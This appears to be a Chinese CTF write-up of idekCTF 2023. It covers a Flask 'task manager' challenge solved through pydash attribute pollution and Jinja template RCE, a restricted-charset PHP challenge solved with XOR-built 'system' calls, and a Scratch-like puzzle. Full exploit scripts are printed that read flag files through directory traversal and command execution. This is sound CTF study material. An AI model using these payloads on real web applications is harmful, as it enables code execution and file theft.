目录

idekctf 2023 wp

因为放假了时间多了起来,难得专注的跟 r3kapig 的师傅们一起打了个比赛,最后拿到了第二,不少题目都很有意思,复盘记录一下。

web

task manager

题目有点原型链污染的味道,也可以说是借鉴了pyjail的一些思路,很有意思的一道题目。

作者提供了对于 pydash.set_ 的封装,可以通过变量路径设置值,类似一个高级版的 setattr。比如:

>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}

寻找访问 app 的方法

taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改:

pydash.set_(
    TaskManager(),
    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
    'xxx'
)

将 eval 加入模板全局变量

然后再回来看 app.py ,可以发现一段很奇怪的代码:

https://pics.kdxcxs.com:4433/images/2023/01/21/20230121142948.png
add_template_global(eval)

既然 app 已经可控了,如果能够实现 before_first_request 的重复调用那么就可以在模板中实现任意代码执行了,经过一些寻找发现可以通过将 app._got_first_request 设置为 False 实现。

设法调用 eval

接下来就是寻找方法对已经放入模板全局变量的 eval 函数进行调用,而 add_template_global 函数是通过 __name__ 来确定变量名字的,但是 builtin 函数的 __name__ 是只读的,所以没有办法用来改个名字放进去,只有找现有文件中存在 eval 的来当作模板。在题目中只有 app.py 出现了 eval ,可以尝试利用。

这里使用的方法是对 app.jinja_envvariable_start_stringvariable_end_string 进行替换,原本 jinja 是通过识别 {{.*}} 来识别模板中的变量的,但是我们可以通过修改这两个值来更改 jinja 识别变量的方式,从而拼接出一个rce。

绕过 jinja 的目录穿越检查实现任意文件渲染

下面一个问题是现在只能够对 templates 下面的文件进行渲染,但是这里面的 html 很明显是用不了的,所以要想办法让他可以渲染任意文件,在 jinja 源码(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38) 可以看到是通过 os.path.pardir 来对目录穿越进行了保护,但是我们可以通过修改 pardir 的值来绕过。

最后在对 app.py 进行利用的时候发现虽然出现了 eval ,但是并没有 eval(.*) 的形式出现,尝试通过修改 app.jinja_envcomment_start_stringcomment_end_string 来让 jinja 把文件的一部分当作注释删掉来凑成一个 eval(.*) 的形式,但是 jinja 解析时会报错,后来发现 {{ eval{# #}(.*) }} 这种中间有注释的模板变量本来就不能正常解析,但是现在既然可以渲染任意文件了,所以可以尝试在 python 库里面寻找出现 eval(.*) 的文件,最后找到了 turtle.py

exp

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app      = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'

# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n            value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})

# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

非预期

由于作者把 flag 写在 Dockerfile 里面了,并且在构建容器的时候是通过 RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt 写的 flag 通过COPY . . 添加的题目代码,这就意味着 Dockerfile 本身也被复制进了容器,所以在实现 LFI 之后就可以直接读取 Dockerfile 就可以拿到 flag 了

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

通过 jinja2.runtime.exported 实现 rce

https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

通过 jinja 源码(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) 可以发现模板的生成其实是调用了 environment.from_string,而在 from_string 函数中又调用了(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) environment.compile,并且对 compile 会返回一个 code 对象,后续会被 exec(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222),如果我们能够控制这里 exec 的内容那么就可以实现 rce。

经过简单的调试可以 在这里(https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) 发现在生成代码的时候有一个可控变量 exported_names,他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组,所以我们完全可以通过 pydash.set_() 来进行覆盖,从而达到 rce。

import requests, re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'

payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''

# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})

# trigger rce
requests.get(f'{base_url}/home.html')

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

misc

PHPFu…n:

题目限制了只能有以下几个字符

([.^])',

基本思路就是用现有的字符造更多的字符,但是因为只要一报错就会 die() ,所以不能用包括 [].'' 在内的很多方式,只能从现有的开始:

In [206]: mapping = {}
     ...: for a, b in combinations('[(,.^)]', 2):
     ...:     x = chr(ord(a) ^ ord(b))
     ...:     if x in mapping:
     ...:         continue
     ...:     mapping[x] = (a, b)
     ...:

In [207]: mapping
Out[207]:
{'s': ('[', '('),
 'w': ('[', ','),
 'u': ('[', '.'),
 '\x05': ('[', '^'),
 'r': ('[', ')'),
 '\x06': ('[', ']'),
 '\x04': ('(', ','),
 'v': ('(', '^'),
 '\x01': ('(', ')'),
 '\x02': (',', '.'),
 'q': (',', ']'),
 'p': ('.', '^'),
 '\x07': ('.', ')'),
 '\x03': ('^', ']'),
 't': (')', ']')}

所以现在就有了 ([.^])',swurvqpt然后看到有 str 就想看看有什么能用的字符串相关的函数 link

In [209]: str_funcs = ['addcslashes','addslashes','bin2hex','chop','chr','chunk_split','convert_uudecode','convert_ne
     ...: code','count_chars','crc32','crypt','echo','explode','fprintf','get_html_translation_table','hebrev','heni
     ...: ','html_entity_decode','htmlentities','htmlspecialchars_decode','htmlspecialchars','implode','join','lcfi't
     ...: ,'levenshtein','localeconv','ltrim','md5_file','md5','metaphone','money_format','nl_langinfo','nl2br','nure
     ...: _format','ord','parse_str','print','printf','quoted_printable_decode','quoted_printable_encode','quote',
     ...: rtrim','setlocale','sha1_file','sha1','similar_text','soundex','sprintf','sscanf','str_contains','str_eniw
     ...: th','str_getcsv','str_ireplace','str_pad','str_repeat','str_replace','str_rot13','str_shuffle','str_s'
     ...: tr_starts_with','str_word_count','strcasecmp','strchr','strcmp','strcoll','strcspn','strip_tags','striphs
     ...: es','stripos','stripslashes','stristr','strlen','strnatcasecmp','strnatcmp','strncasecmp','strncmp','strpbrk'
     ...: ,'strpos','strrchr','strrev','strripos','strrpos','strspn','strstr','strtok','strtolower','strtoupper','strtr
     ...: ','substr_compare','substr_count','substr_replace','substr','trim','ucfirst','ucwords','utf8_decode','utne
     ...: code','vfprintf','vprintf','vsprintf','wordwrap']

In [210]: for func in str_funcs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
strstr
strtr

然后通过 strstr 就可以拿到 false = strstr('.',',') ,但是还不够,于是就跑去把所有的函数都拿来了 link

In [211]: phpfuncs = []
     ...: with open("/phpfuncs.txt",'r', encoding='utf8') as f:
     ...:     phpfuncs = f.read().split(',')
     ...:

In [212]: for func in phpfuncs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
sqrt
strstr
strtr

然后通过 sqrt(strstr('.',',')) 拿到了 0 ,但是拿到数字之后现在并没有什么用,于是想办法放到之前已经有的字符里面看看还能生成什么字符:

In [215]: mapping = {}
     ...: for a, b in combinations('[(,.^)]0', 2):
     ...:     x = chr(ord(a) ^ ord(b))
     ...:     if x in mapping:
     ...:         continue
     ...:     mapping[x] = (a, b)
     ...: mapping
Out[215]:
{'s': ('[', '('),
 'w': ('[', ','),
 'u': ('[', '.'),
 '\x05': ('[', '^'),
 'r': ('[', ')'),
 '\x06': ('[', ']'),
 'k': ('[', '0'),
 '\x04': ('(', ','),
 'v': ('(', '^'),
 '\x01': ('(', ')'),
 '\x18': ('(', '0'),
 '\x02': (',', '.'),
 'q': (',', ']'),
 '\x1c': (',', '0'),
 'p': ('.', '^'),
 '\x07': ('.', ')'),
 '\x1e': ('.', '0'),
 '\x03': ('^', ']'),
 'n': ('^', '0'),
 't': (')', ']'),
 '\x19': (')', '0'),
 'm': (']', '0')}
 In [216]: for func in phpfuncs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
sqrt
strspn
strstr
strtr

多了一个 strspn 那么现在就有任意数字了,接下来就想办法构造 chr 函数:

'c': ('[', '8')
'h': ('[', '3')
'r': ('[', ')')

chr 出了就可以开始写 exp 了:

from pwn import *

s      = "('['^'(')"
str    = f"{s}.(')'^']').('['^')')"
strstr = f"{str}.{str}"
sqrt   = f"{s}.(','^']').('['^')').(')'^']')"
zero   = f"({sqrt})(({strstr})('.',',')).''"
strspn = f"{str}.{s}.('.'^'^').('^'^{zero})"
num    = lambda x:f"({strspn})('{'.' * x}','.')"
phpchr = lambda x:f"(('['^{num(8)}.'').('['^{num(3)}.'').('['^')'))({num(ord(x))})"
phpstr = lambda str:'.'.join([phpchr(c) for c in str])

payload = f"({phpstr('system')})({phpstr('cat /flag.txt')})"
print(payload)

r = remote('phpfun.chal.idek.team', 1337)
r.recvuntil(b'Input script: ')
r.sendline(payload.encode())
r.interactive()

Niki:

这道题是一个类似 Scratch 的东西,用附件里面的程序打开 german_scrambled.pas 就可以加载题目程序了:

https://pics.kdxcxs.com:4433/images/2023/01/17/20230117131403.png
Niki

尝试运行之后发现这个程序有很多都是向下走的指令,但是默认那个机器人在左下角,再往下就会报错,而且初始的 Material(就相当于颜料数量)为0,画不了图案,所以点击左上角的格子按钮调整一下:

https://pics.kdxcxs.com:4433/images/2023/01/17/20230117131416.png
Niki 运行前调整

然后就会发现机器人会画很多东西出来,比较乱,而且后面还是会到边界报错,于是尝试一个函数一个函数跑:

https://pics.kdxcxs.com:4433/images/2023/01/17/20230117131440.png
Niki 逐个运行

https://pics.kdxcxs.com:4433/images/2023/01/17/20230117131447.png
Niki h 函数运行结果

可以看到 h; 打出了一个大写的 P,然后挨个把文件里面的函数都运行一遍就有了下面的:

h -> P
o -> S
brackl -> (
a -> O
v -> E
u -> I
brackr -> )
q -> D
p -> K
l -> T

PS(OEI)DKT idek前缀都在,似乎就是 flag 了,简单处理一下得到 idek{stop}